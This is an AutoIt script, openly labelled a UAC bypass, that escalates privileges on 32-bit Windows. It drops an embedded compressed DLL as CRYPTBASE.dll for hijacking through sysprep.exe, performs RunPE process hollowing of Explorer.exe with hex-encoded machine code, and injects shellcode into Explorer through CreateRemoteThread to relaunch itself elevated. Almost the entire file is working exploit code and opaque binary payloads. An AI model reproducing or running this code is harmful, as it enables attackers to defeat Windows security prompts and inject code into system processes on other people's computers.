#include <WinApi.au3>
#include <Memory.au3>
;Code By Pink|Danyfirex|Dany 28/03/2014
;UAC ByPass
;32-bit Only
Global $_LZF_CodeBuffer, $_LZF_CodeBufferMemory, $_LZF_Compress, $_LZF_Decompress
Local $sProcessName = "Explorer.exe"
Local $sysprepPath = @SystemDir & "\sysprep\sysprep.exe"
Local $sCrypbase = @SystemDir & "\sysprep\CRYPTBASE.dll"
Local $ExplorerPath = @WindowsDir & "\" & $sProcessName
Local $TempCRYPTBASE = @TempDir & "\CRYPTBASE.dll"
If Not (@Compiled) Then Exit
If @OSArch = "X86" Then
If IsAdmin() Then
If FileExists($sCrypbase) Then FileDelete($sCrypbase)
MsgBox(0, "Pink", "Hola Soy Admin :)")
Exit
Else
MsgBox(0, "Pink", "No soy Admin :(")
If FileExists($sCrypbase) Then FileDelete($sCrypbase)
UACbyPass()
If FileExists($TempCRYPTBASE) Then FileDelete($TempCRYPTBASE)
EndIf
Exit
EndIf
Func UACbyPass()
WriteDllTemp()
FileData()
RunPE($ExplorerPath, FileData())
Sleep(2000)
Local $hProcess = _WinAPI_OpenProcess(BitOR($PROCESS_CREATE_THREAD, $PROCESS_VM_OPERATION, $PROCESS_VM_WRITE), False, ProcessExists($sProcessName))
Local $iRet = RemoteShellExecuteEx($hProcess, $sysprepPath, @ScriptFullPath)
Return $iRet
EndFunc ;==>UACbyPass
Func RunPE($path, $filebin)
Local $ASM = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
$ASM &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
$ASM &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
$ASM &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
$ASM &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
$ASM &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
$ASM &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
$ASM &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
Local $BufferASM = DllStructCreate("byte[" & BinaryLen($ASM) & "]")
Local $binBuffer = DllStructCreate("byte[" & BinaryLen($filebin) & "]")
DllStructSetData($BufferASM, 1, $ASM)
DllStructSetData($binBuffer, 1, $filebin)
Local $Ret = DllCall("user32.dll", "int", "CallWindowProcW", _
"ptr", DllStructGetPtr($BufferASM), _
"wstr", ($Path), _
"ptr", DllStructGetPtr($binBuffer), _
"int", 0, _
"int", 0)
EndFunc ;==>RunPE
Func RemoteShellExecuteEx($hProcess, $sFile, $sParameters, $sVerb = "OPEN", $hWnd = 0)
Local Const $SEE_MASK_INVOKEIDLIST = 0xC
Local Const $SEE_MASK_NOCLOSEPROCESS = 0x40
Local Const $SEE_MASK_FLAG_NO_UI = 0x400
Local $Databuffer = 0, $FileBuff = 0, $SHELLEXECUTEINFO = 0, $sSHELLEXECUTEINFO = "", $sfiles = "", $written = 0
$sfiles = "wchar modulename[12];char function[16];wchar sverb[256];wchar file[256];wchar Parameters[256];"
$sSHELLEXECUTEINFO = "int cbSize;long fMask;hwnd hWnd;ptr lpVerb;ptr lpFile;ptr lpParameters;ptr lpDirectory;" & _
"int nShow;int hInstApp;ptr lpIDList;ptr lpClass;hwnd hkeyClass;int dwHotKey;hwnd hIcon;" & _
"hwnd hProcess"
$Databuffer = DllStructCreate($sfiles & $sSHELLEXECUTEINFO)
DllStructSetData($Databuffer, "sverb", $sVerb)
DllStructSetData($Databuffer, "file", $sFile)
DllStructSetData($Databuffer, "Parameters", $sParameters)
DllStructSetData($Databuffer, "modulename", "Shell32.dll") ;Libreria
DllStructSetData($Databuffer, "function", "ShellExecuteExW") ; Funcion
DllStructSetData($Databuffer, "cbSize", 60) ;Tamaño Structura 60
DllStructSetData($Databuffer, "fMask", $SEE_MASK_INVOKEIDLIST)
DllStructSetData($Databuffer, "hwnd", $hWnd)
$pRemoteData = _MemVirtualAllocEx($hProcess, 0, sizeof($Databuffer), $MEM_COMMIT, $PAGE_READWRITE)
If Not $pRemoteData Then Return MsgBox(16, "Epic Failure", "Failed to allocate memory in process!")
$Loadlibrary = DllCall("Kernel32.dll", "ptr", "GetProcAddress", "ptr", _WinAPI_GetModuleHandle("Kernel32.dll"), "str", "LoadLibraryW")
$Loadlibrary = $Loadlibrary[0]
$GetProcAddress = DllCall("Kernel32.dll", "ptr", "GetProcAddress", "ptr", _WinAPI_GetModuleHandle("Kernel32.dll"), "str", "GetProcAddress")
$GetProcAddress = $GetProcAddress[0]
$CodeBuffer = DllStructCreate("byte[33]")
$pRemoteCode = _MemVirtualAllocEx($hProcess, 0, sizeof($CodeBuffer), $MEM_COMMIT, $PAGE_EXECUTE_READWRITE)
;Punteros a cadenas
DllStructSetData($Databuffer, "lpVerb", $pRemoteData + (_ptr($Databuffer, "sverb") - _ptr($Databuffer)))
DllStructSetData($Databuffer, "lpFile", $pRemoteData + (_ptr($Databuffer, "file") - _ptr($Databuffer)))
DllStructSetData($Databuffer, "lpParameters", $pRemoteData + (_ptr($Databuffer, "Parameters") - _ptr($Databuffer)))
DllStructSetData($CodeBuffer, 1, _
"0x" & _
"68" & SwapEndian($pRemoteData + (_ptr($Databuffer, "modulename") - _ptr($Databuffer))) & _ ; push RemoteData.modulename
"B8" & SwapEndian($Loadlibrary) & _ ; mov eax,LoadLibrary
"FFD0" & _ ; call eax
"68" & SwapEndian($pRemoteData + (_ptr($Databuffer, "function") - _ptr($Databuffer))) & _ ; push RemoteData.function ShellExecuteExW
"50" & _ ; push eax
"B8" & SwapEndian($GetProcAddress) & _ ; mov eax,GetProcAddress
"FFD0" & _ ; call eax
"68" & SwapEndian($pRemoteData + (_ptr($Databuffer, "cbSize") - _ptr($Databuffer))) & _ ; push Puntero SHELLEXECUTEINFO
"FFD0" & _ ; call eax
"C3") ; Ret
_WinAPI_WriteProcessMemory($hProcess, $pRemoteCode, _ptr($CodeBuffer), sizeof($CodeBuffer), $written)
_WinAPI_WriteProcessMemory($hProcess, $pRemoteData, _ptr($Databuffer), sizeof($Databuffer), $written)
$iThread = DllCall("Kernel32.dll", "int", "CreateRemoteThread", "ptr", $hProcess, "ptr", 0, "int", 0, "ptr", $pRemoteCode, "ptr", 0, "int", 0, "dword*", 0)
$hThread = $iThread[0]
_WinAPI_WaitForSingleObject($hThread)
_MemVirtualFreeEx($hProcess, $pRemoteCode, 0, $MEM_RELEASE)
_MemVirtualFreeEx($hProcess, $pRemoteData, 0, $MEM_RELEASE)
$iThread = DllCall("Kernel32.dll", "ptr", "GetExitCodeThread", "ptr", $hThread, "dword*", 0)
Return $iThread[2]
EndFunc ;==>RemoteShellExecuteEx
Func sizeof($s)
Return DllStructGetSize($s)
EndFunc ;==>sizeof
Func _ptr($s, $e = "")
If $e <> "" Then Return DllStructGetPtr($s, $e)
Return DllStructGetPtr($s)
EndFunc ;==>_ptr
Func SwapEndian($hex)
Return Hex(BitOR(BitOR(BitOR(BitShift($hex, 24), _
BitAND(BitShift($hex, -8), 0x00FF0000)), _
BitAND(BitShift($hex, 8), 0x0000FF00)), _
BitShift($hex, -24)), 8)
EndFunc ;==>SwapEndian
;ASM
Func FileData()
Local $Decompressed = ""
Local $sDll = '0x000C0000104D5A80000100000004001000FFFF000040400C200000402003E01700008020201F0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F17742062652072756E20696E20444F53206D6F64652E0D0A24203A60000B504500004C010300C57635536010200009E0000F010B0101460002200C00082003400000102004400300202007409D400B201FA0AE20BFA00040B8201701198260068027402BE00029A00EC0000330000042C044E06200042E74657874206F00ED2003609F20B36003E0020020EA05602E646174612013012405200420100100062003E000EC800020F202C02E69802860CB20D3604B000A2007E0020020272002E0050005C70500204000418E02C705142009405A096A00FF15E830400068222010016804211D02FF158C400F014E24200F401402FF1590400F401A02682A22400F0094400F003A401F800F601F012025202F000060044049006A201E02FF15EC40290032200A0168102019006AC050011C3120110036E00216804760160414040401A1404C06508B00FF50146A203501FF35402B01FF354048E0011A0040E0010A0054E0010A0008202E0115882076E0FF00E0FF00E0FF00E0FF00E0FF00E01C00045C0073007920030470007200652005005C2035164300520059005000540042004100530045002E0064006C20010000200B006C20270C76006100740069006F006E003A20230264006D200D006E2003007320170072601D006F200700212013026500772023027B00332015006426D40035200100372003022D00382001400B022D003460090030200902390032201D40130031200100626017006220374009006520210239007D20851F7555D03A57885048927711B85BDB8E095FAB7A945C0A134CB4D64BF7836FC9F80F1E6D824318E7EE42BC55A1E261C37BFE2032E0D4000074482BA0000050200B0088200300DC2003C000005E200B00E82003011431C01127F2200F001CE0020FE00300104B45524E454C33322E444C4C00004F4C45A00A035348454CC016009C203F00AA200300BA200300C620034000E00B1322330978697450726F63657373200D0B47657454656D705061746857200E07006C737472636174600B201B1153797374656D4469726563746F72795700F4205B0004A0A7E0030B22A70A6F496E697469616C697A65200E200F203F024F626A2039200D0024A033C007000020BD064372656174654920600D46726F6D50617273696E674E616D603EE0B000010000'
$Decompressed = _LZF_Decompress($sDll)
Return $Decompressed
EndFunc ;==>FileData
;Dll
Func WriteDllTemp()
Local $sTempPath = @TempDir
Local $Decompressed = ""
Local $sDll = '0x001E0000084D5A90000300000004200304FFFF0000B82007400000404004E016000080201F1F0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F18742062652072756E20696E20444F53206D6F64652E0D0D0A24203B40000B504500004C010600FABF3453400F400009E0000E210B010232000C200D000E20034000001020044003003020074009400B000280B7400040BF600000702005A00C40D7402A602B4004200A40004006001020470046200C000420E80050200740040098A037E0040003600000C8E00410E01D0000C02057006CE0122A012E632108201F00B02003609020CBC0B7C0000020207D042E746578742010014A082004201001000A200300062003E00200201609602E7264617461000056401720DB604F40E8E00200209201402E8026010014411C2010607300122007E00200201605C02E72737263201361134120407300162010E00200202705402E72656C6F20286123212B6077001C2007E0020020270042E0020EE0FF00E07C0011837C240801750E8B442404A3D8420010E82220964014010275600604007505E838A01204037500B801200B03C20C0068200620042260600906E8BB0F0000A3D4403F00EB222401E8F1200E01E818202202C3E811200502E82617245D0035601F0097201A04C3C38B15E8202C035252FF354007804300AC204D018B15222D0A10011424E8471500008F05E0011D006520370231C0C3204DE0FF00E03C0001FF2524A90310FF25D8600500DC600500E0600500E4400505742404FF35EC21AA0DE8CE05000085C07417FF30FF15E8E0051A00D8201A03C204006A40010210E85524290A681E2000106A046A04A3F0403B00F220200168F4200900A3404A02FF15EC203F09C3558BEC51535657FF356022001820350A834DFCFF8BF833F6FF15F020201F8A0884C974758B550880F92075064080382074FA8A0833DB4380F9227523408A02088BF020200016200D017407200D1184C975F480380074058BD040EB218BD0EB1D201D02178BF0203DE0031F1C8BD07404EBDE33DB8B0F3B4DFC75078B4D0885C9751A85DB7403FF45FC205E00F62047028E837D22F713138B45FCEB1485F6740D2BD68911FF078BC6EB06202E068321005F5E5BC920EF40C080BD058365FC00E85620E4201F0585C97802890820D8068D45FC50E817FF200009750C8B75FC568BD8E84F20E406568BF85357E8B720090583C40CC60437804D0008604D03568B35F420F9016A02414A403F04FFD650FF3740040115F82017005E217F000D200F617F209D0B8907C9C3558D6C249C81ECC4220C20731033DB6A445E5633FF8D45DC534750C74560261A1B00895D58895D50895D44895D5C895D48895D54895D40895D4CC7453047600D895D34897D38E8F3FDFFFF8A4D7820940C8975DC'
$sDll &= '897D08F6C102740B33C020430028204309EB028BC76689450CBE0024000EF6C140741D8B457C3BC374168B400C2006040FC7450801201919894514897D4CEB39F6C1047438F6C1107433538D4530508D45502003005820C600FC20C620C5091C8B45580975088D7D50203101E801212302C7454C203F1300836560F78B457883E00489453C7472F6457808E00043005C20430044E00443005C60430844894518E8BDFEFFFF403CA04720380020E00038005420380048E0043800546038054889451CE884E0053813857508742A8B3500410010395D1475076AF6FFD620A302395D18200B00F5400B0318395D1C200B00F4400B0C1C8B7D6C3BFB750AC7456C06302193097D6C395D707507C74570400E0257E8D6285106FF75708BF0E8CC20090759598D4406045053850902FF1504206409803F2289457C7423BE04203F035650E8AA20270557FF757CE8A7200800564008009E20080883C418EB095750E88C200B0959598B7570381E74196827E700104021007C2015602A007320080183C4221A007421930A0738187503895D748D452020FF0CDC50FF757453FF7560FF754C532007047C53FF1508207F0485C00F848E2178018B3543D40C395D5C7405FF755CFFD6395D58400900584009005440090754FFD6FF7524FFD621590301740B6A22D50320FF150C204105395D3C7445BF43DD0357FF15102010036A2868E023EB01E87428D2075959578BF0FF151420161E8B452089068B45288946048B454489460C8B45508946088B4548894610E92A21FD405200D66009018B3DE0048D03D7395D444083004440090050400900504009A0A1201DA0A120090048401D0248FFD720A603780F85E520D90A395D74753B8B756C56E84828F30D8D7430FF8B456C593BF07626803E20ED044E3BF077F6200D00182120027CE82B2022022B756C22DC1D5959885C06018945746A3C5E568D45A05350E8D0FAFFFF0FB7450C8945BC2162028945B82048088945B08B45708945B42338202507508975A0C745A440218802C745AC420402FF152420FC22F3005C2092A13900D8E10139003AE10B39003A210CE1043914D8834E04FF8906895E0C895E08895E10897540EB0C404703D7C74540202C213A21D0676002FF1518206F028B454024A50583C564C9C21445960100B8408B01505025D00514E8C8FBFFFF24BF27F3130885C078118B4C24043B41087D068B490C8B048120AA0707833800750233C0249640244020202800204024061B8B510C8D048220200A741CFF316A00FF30E8B9F9237A0AC40CEB0C5083C11051E8AA208E015959203A0356578B3D42E2036A206A08A09B02D78BF02050040C83661000220B05442414894614200600102213220A03C1E00250E0012A2221035F8BC65E286C2021000420AF005620BC0008E0001F633D28A8201E08F074'
$sDll &= '0656FF54241059802EE0092620D2001340C4078B1185D2740789422008078910890183C008C3205B60DF0583E8088B103929090289118B25C30A741783610400EB118B4804A01007068B50048951045020F2E1026746C5006A290328BA20180015474505A30C430010C768B921090300C70510200F400A00A14008203F018B0D4021005180C100A348EF025DC3CCC000265400A14012E0032761D0001540340252FF1547A2E0052F0383EC08A14927070345088945F88B0D40660C83E904394DF87C338B55F881C2204F02008915401660820583C005508B0D2014011051208CC057001C2235608C607E000342E508FC8B4D0C034D08890D405D266F028BE55D21D602FF25C4203A02FF25C8600500CC600500D0200520EBE0FF00E0A20048204BF2E00300CF8B00422E47445CC0030038200F003C200300402003007721EF004B2007140000546573742E646C6C004D7946756E6374696F6E2015E0FF00E09B000054241FC0000136412FFC200F006C2003C0000080201324D90100B82003C00000C62FD126D8E00C00002C2017008E20030098200300A2200300AC200340000042200700502003005E2003006C200300B6200300C4200300E0200300F22003000620530018200300262003003620030042200300542003006A200300822003009A200300A62003400000B4A007E0636B0699026D656D7365318E054D535643525462F50B00A40248656170437265617431D000A5600D004423131F726F790005014578697450726F6365737300F7014765744D6F64756C6548616E02646C6520F3074B45524E454C3332804B01C1022037056E63707900BE4009016C65234A00BA400940120100B660090061207F054400436C6F73A0450E00B902496E697469616C697A65437220090463616C536583890070407303436F6D6D2070024C696E207200AA601104757272656EE0009905D5004475706C20370074C05301920080D10250697020D5013E0220B90253746480B621D560E502416C6C31FA0095C02980E520D3116E0457616974466F7253696E676C654F626A208C0700DA00456E746572E007A00600F4024C656176E008B80100A6606302467265206F00A9600B01526580712CEA1268656C6C45786563757465457841005348454C414402444C4C201DE0FF00E01F00C5EF53BC25D64613008051BC33CE55E2E0021F000120012607E00A1700092AF1542600A0200400944024E00200E0015F803F0078E00E3F009020330434520000632C38C00002940134200A04560053005F20050245005220090449004F004E200F004920050046200B400003BD04EFFE405F40008005E00107E00F0000F220180001204F087400720069006E0067204D006935B500652059046E0066006F201F00CE200300012D68C00102340062200B20A7358802010043'
$sDll &= '2023006D36720061202F0079208D0061200D22AE200000502049026E006B214B00532023006620634137000C20330050206D066F0064007500632015E003330054203B00732013004C203B006220250061200323F603004A00132037004C201D00672013006C60750070201940B500672A7C405B00412017006C206D0052203B8013400B404F006520270076200500642049443940CF005620470072E00AED25D376100054201D40D3007320530061205F006920B1239260000BB0043C3F786D6C207665727327EB083D22312E302220656E36D023EE0A3D225554462D3822207374247117616C6F6E653D22796573223F3E0A3C617373656D626C7920203F1F6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A6173056D2E7631222024B6016966254C0056E0036C033E0A2020E0004B01496424C70269747920130020E004934001002260153890457F076F72417263686974248C017572209502583836801F026E616D200E25240470616E794E200C002E24CB0364756374600B06596F7572417070802A02747970202A0777696E333222202F6088066465736372697048F7023E3C2FE0030D207C201D0270656E20A2016379400EE00210017441A10C80172019C11DE004D14000E003742053800080B4004DC135082E57696E646F77732E20C6066D6F6E2D436F6E2681016C73E00130E100AF00364119C11B4000E1171F400002707562261F064B6579546F6B6521F40F36353935623634313434636366316466E00167066C616E677561672126002AA12220DB002FC107E004F6E00116411E020A3C2FC102003E6269E0FF00E0540025F045EB0C0C304C306C307930813091309F44E02C185A9B1F023008300E3014301A30243035303F30573060306A306F3075308330963041311F9031A831B5316F32B332EC3217334933583376337C338933BC33FC330A343E341F48344F345634663498345D3563357835823589359035A035CD35D335E9355F361F69369436B436BA36DB36E13635373B374E375337593763376C3775377C3781371F94379D37A437AA37B137C737D337EA37EF37F937023809380E38133825383438043A384038462690E0FF00E02500010000'
$Decompressed = _LZF_Decompress($sDll)
FileWrite($sTempPath & "\CRYPTBASE.dll", $Decompressed)
EndFunc ;==>WriteDllTemp
;By Ward
Func _LZF_Exit()
$_LZF_CodeBuffer = 0
_MemVirtualFree($_LZF_CodeBufferMemory, 0, $MEM_RELEASE)
EndFunc ;==>_LZF_Exit
Func _LZF_Startup()
If Not IsDllStruct($_LZF_CodeBuffer) Then
If @AutoItX64 Then
Local $Opcode = '0x89C04883EC38488B41084C894C2420488B094589C14989C0E81E0000004883C438C389DB4883EC084589C14C8B4108488B094883C408E94404000041574156415541544589CC4F8D2420555756534883EC184585C9488BB424800000000F841602000085D20F840E02000089D20FB6014D8D48014C8D3C110FB651014531DB418D5FFE498D6FFEC1E00809C2895C240C4889C8EB28EB01904D39E10F83D80100000FB6184183C3014883C0014188194983C1014183FB200F84710200004839E80F834E01000089D30FB650024C8D5002C1E30809DA8D3C9289D3C1EB0829FB81E3FFFF0000488D1CDE488B3B488903488D58FF4829FB4881FBFF1F000077994839F94C8D680473904D39FD738B440FB73766443B307581440FB67702453A320F8573FFFFFF498D51044939D40F8635010000448B54240CBA08010000458D73FF4129C24181FA08010000440F47D24489DAF7D24863D24588341131D24585DB0F94C24929D14183FA100F86FE010000440FB67703BA0200000041BB20000000443A70030F84030100004883C0014889DF48C1EF084101FB4588194983C1014801D04188194983C1024839E80F839F0100000FB658FE0FB650FF4C8D50FE498D7A01C1E30809DA0FB618C1E20809DA448D1C9289D3C1E208C1EB084429DB4531DB81E3FFFF00004C8914DE0FB65F0209DA89D3448D1492C1EB084429D381E3FFFF00004839E848893CDE0F82B7FEFFFFEB03909090498D51034939D4725C4C39F8732390900FB6104183C3014883C0014188114983C1014183FB200F84FF0000004939C777DF4489D8418D53FFF7D048984188140131C04585DB0F94C04929C14489C84429C0EB144585DB750D498D51034939D40F87B9FEFFFF31C04883C4185B5E5F5D415C415D415E415FC3440FB67704B20341BB40000000453A75000F85E6FEFFFF440FB66F05B20441BB60000000443A68050F85CFFEFFFF440FB66F06B20541BB80FFFFFF443A68060F85B8FEFFFF440FB66F07B20641BBA0FFFFFF443A68070F85A1FEFFFF440FB66F08B20741BBC0FFFFFF443A68080F858AFEFFFF0FB657093A50097450BA0800000031FF4883C0014989DA4188790149C1EA084183EA204588114983C102E970FEFFFF41C641DF1F4530DB4983C101E97EFDFFFF41C641DF1F4530DB4983C101E9F0FEFFFF4531DBE9BCFEFFFF0FB6570A3A500A7442BA09000000BF01000000EBA2BA0200000083C2014139D2760E4189D3460FB62C1F463A2C1874EA448D52FE4883C0014183FA06763D418D7AF9418D5201E970FFFFFF0FB6570B3A500B740FBA0A000000BF02000000E954FFFFFF0FB6570C3A500C7421BA0B000000BF03000000E93CFFFFFF4489D2C1E2054189D3418D5201E9A8FDFFFF0FB6570D3A500D740FBA0C000000BF04000000E912FFFFFF0FB6'
$Opcode &= '570E3A500E740FBA0D000000BF05000000E9FAFEFFFF0FB6570F3A500F740FBA0E000000BF06000000E9E2FEFFFF0FB657103A5010740FBA0F000000BF07000000E9CAFEFFFF0FB657113A5011740FBA10000000BF08000000E9B2FEFFFF0FB657123A5012740FBA11000000BF09000000E99AFEFFFFBA12000000E9F3FEFFFF5789D24589C94989CA488D14114F8D0C08564C89C74883EC08EB2EEB008D4E0189C8488D34074939F10F8293000000498D04024839C20F82860000004C89D6F3A44989F24939D27357410FB6324983C20183FE1F76C74C39D2766789F1C1E90583F907744889C8450FB61A488D4407024939C1724D48C1E608450FB6DB81E6001F000048F7D6488D34374C29DE4939F077304983C20183C102F3A44939D272A989F84883C4085E4429C05FC390410FB60A4983C2014C39D276080FB6C983C107EBA34883C40831C05E5FC3'
Else
Local $Opcode = '0x89C083EC2C8B54243C8B442430895424108B5424388954240C8B5004895424088B542434895424048B00890424E83600000083C42CC2100089DB83EC1C8B4424208B5424288954240C8B5004895424088B542424895424048B00890424E86A04000083C41CC210005557565383EC208B4424408B4C243C8B54243801C185C0894C24100F841B02000085D20F84130200008B5C243431F6035424348B44243C8954241C0FB6138B7C241C0FB64B0183C001C1E20883EF0209D189DA897C240CEB213B4424100F83D90100000FB61A83C60183C201881883C00183FE200F84220200003B54240C0F835A0100008D6A0289CB896C24180FB64A02C1E30809D989CBC1EB088D3C8929FB8B7C244481E3FFFF00008D1C9F8B3B89138D5AFF29FB81FBFF1F0000895C24087797397C24348D6A04896C2414738A8B5C241C39DD73820FB71F663B1A0F8576FFFFFF8B6C24180FB65F023A5D000F8565FFFFFF8D4804394C24100F862A0100008B4C241C29D183E90281F9080100000F873001000089F385F6F7D3895C24188B6C24188D5EFF881C280F94C389DE81E6FF00000029F083F9100F86940100000FB66F03BE02000000C64424182089EB3A5A030F84F700000083C2018B4C2408C1E908024C2418880883C0010FB64C240801F2880883C0023B54240C0F830A0200000FB65AFE8D72FF0FB64AFF8D7AFEC1E30809D90FB61AC1E10809D989CB8D2C89C1EB0829EB8B6C244481E3FFFF0000C1E108897C9D000FB65E0209D989CBC1EB088D3C8929FB81E3FFFF000089749D0031F63B54240C0F82A6FEFFFF8D4803394C241072553B54241C731F8B5C241C0FB60A83C60183C201880883C00183FE200F84A300000039D377E589F2F7D28D4EFF880C1031D285F60F94C229D02B44243C83C4205B5E5F5DC385F6750D8D4803394C24100F87C5FEFFFF83C42031C05B5E5F5DC3B908010000E9C6FEFFFF8B6C241466BE0300C6442418400FB65F043A5D000F85EFFEFFFF0FB66F0566BE0400C64424186089EB3A5A050F85D7FEFFFF0FB6770689F33A5A06742DBE05000000C644241880E9BDFEFFFFC640DF1F6631F683C001E9CFFDFFFFC640DF1F6631F683C001E94EFFFFFF0FB6770789F33A5A077470BE06000000C6442418A0E985FEFFFFBE020000008B5C240801F78D2C32894C240483C6013974240476180FB64F0183C701884C24180FB64D0183C501384C241874DF8D4EFE83C20183F906895C2408765083E90783EE018B7C2408884801C1EF0883EF2089FB881883C002E937FEFFFF0FB6770889F33A5A08740FBE07000000C6442418C0E90AFEFFFF0FB6770989F33A5A09741BBE0800000031C983C201EBB6C1E10583EE01884C2418E9E7FDFFFF0FB6770A89F33A5A0A7413BE09000000B901000000EBD531F6E94BFEFFFF0FB6770B'
$Opcode &= '89F33A5A0B740CBE0A000000B902000000EBB70FB6770C89F33A5A0C740CBE0B000000B903000000EBA00FB6770D89F33A5A0D740CBE0C000000B904000000EB890FB6770E89F33A5A0E740FBE0D000000B905000000E96FFFFFFF0FB6770F89F33A5A0F740FBE0E000000B906000000E955FFFFFF0FB6771089F33A5A10740FBE0F000000B907000000E93BFFFFFF0FB6771189F33A5A11740FBE10000000B908000000E921FFFFFF0FB6771289F33A5A12740FBE11000000B909000000E907FFFFFFBE12000000E975FEFFFF5557565383EC048B5424188B44241C8B4C2420034C24248B7C242001D0890C24EB1C8D4E018D1C0F391C2472778D1C0A39D8727089D6F3A489F239C273460FB63283C20183FE1F76D939D0765789F1C1E90583F907743B83C1020FB61A8D2C0F392C24723F83E61F0FB6DBC1E608F7D68D343729DE39742420772983C201F3A439C272BA89F82B44242083C4045B5E5F5DC30FB60A83C20139D076080FB6C983C107EBB383C40431C05B5E5F5DC3'
EndIf
$_LZF_Compress = (StringInStr($Opcode, "89C0") - 3) / 2
$_LZF_Decompress = (StringInStr($Opcode, "89DB") - 3) / 2
$Opcode = Binary($Opcode)
$_LZF_CodeBufferMemory = _MemVirtualAlloc(0, BinaryLen($Opcode), $MEM_COMMIT, $PAGE_EXECUTE_READWRITE)
$_LZF_CodeBuffer = DllStructCreate("byte[" & BinaryLen($Opcode) & "]", $_LZF_CodeBufferMemory)
DllStructSetData($_LZF_CodeBuffer, 1, $Opcode)
OnAutoItExitRegister("_LZF_Exit")
EndIf
EndFunc ;==>_LZF_Startup
Func _LZF_Decompress_Core($Data, $MaxBuffer)
If Not IsDllStruct($_LZF_CodeBuffer) Then _LZF_Startup()
$Data = Binary($Data)
Local $InputLen = BinaryLen($Data)
Local $Input = DllStructCreate("byte[" & $InputLen & "]")
DllStructSetData($Input, 1, $Data)
Local $Output = DllStructCreate("byte[" & $MaxBuffer & "]")
Local $Var = DllStructCreate("ptr src; ptr dst")
DllStructSetData($Var, "src", DllStructGetPtr($Input))
DllStructSetData($Var, "dst", DllStructGetPtr($Output))
Local $Ret = DllCall("user32.dll", "uint", "CallWindowProc", "ptr", DllStructGetPtr($_LZF_CodeBuffer) + $_LZF_Decompress, _
"ptr", DllStructGetPtr($Var), _
"uint", $InputLen, _
"uint", $MaxBuffer, _
"int", 0)
Return BinaryMid(DllStructGetData($Output, 1), 1, $Ret[0])
EndFunc ;==>_LZF_Decompress_Core
Func _LZF_Decompress($Data)
If Not IsDllStruct($_LZF_CodeBuffer) Then _LZF_Startup()
$Data = Binary($Data)
Local $OutputLen = Int(BinaryMid($Data, 1, 4))
Return _LZF_Decompress_Core(BinaryMid($Data, 5), $OutputLen)
EndFunc ;==>_LZF_Decompress